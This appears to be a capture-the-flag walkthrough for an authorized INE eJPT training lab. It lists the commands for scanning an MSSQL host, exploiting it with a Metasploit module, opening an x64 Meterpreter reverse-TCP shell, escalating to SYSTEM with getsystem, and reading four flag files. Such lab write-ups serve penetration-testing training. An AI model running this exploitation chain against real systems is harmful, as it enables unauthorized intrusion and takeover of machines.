Exploit a Microsoft SQL Server service on target.ine.local, escalate to SYSTEM, and capture four flags.
GUI access to a Kali machine is provided. Target: target.ine.local (10.3.30.19), added to /etc/hosts.
MSSQLSERVER account and read the first flag.FLAG#_<MD5> — submit only the hash, without the underscore or prefix.All work is performed against an authorized INE training lab for eJPT exam preparation.
cat /etc/hosts
nmap -sV -sC -Pn -A -p- 10.3.30.19
dirb http://10.3.30.19
gobuster dir -u http://10.3.30.19 -w /usr/share/wordlists/dirb/common.txt
Nmap reveals a Microsoft SQL Server instance. Exploit it with Metasploit.
Search for the MSSQL payload-delivery module. Set an x64 Meterpreter payload (an x86 payload will fail to open a session here):
msfconsole
search MSSQL 2012
use 0
show options
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 10.3.30.19
exploit
Once the Meterpreter session opens, drop to a shell and read the flag from the C: drive:
shell
whoami
systeminfo
whoami /priv
cd C:\
dir
type flag1.txt
The config folder is protected, so escalate first with getsystem, then read it:
getsystem
shell
cd C:\Windows\System32\config
type flag2.txt
Recursively search System32 for text files, then read the hinted flag file under drivers\etc:
dir C:\Windows\System32\*.txt /s /b
type C:\Windows\System32\drivers\etc\EscaltePrivilageToGetThisFlag.txt
cd C:\Users\Administrator\Desktop
dir
type flag4.txt
| Flag | Technique |
|---|---|
| 1 | MSSQL payload module (x64 Meterpreter) → read C:\flag1.txt |
| 2 | getsystem → read System32\config |
| 3 | Recursive .txt search → drivers\etc flag |
| 4 | Administrator Desktop |
getsystem is the fastest route from a service account to NT AUTHORITY\SYSTEM.dir C:\...\*.txt /s /b is a quick way to hunt flags across a Windows tree.type to read files and dir to list them.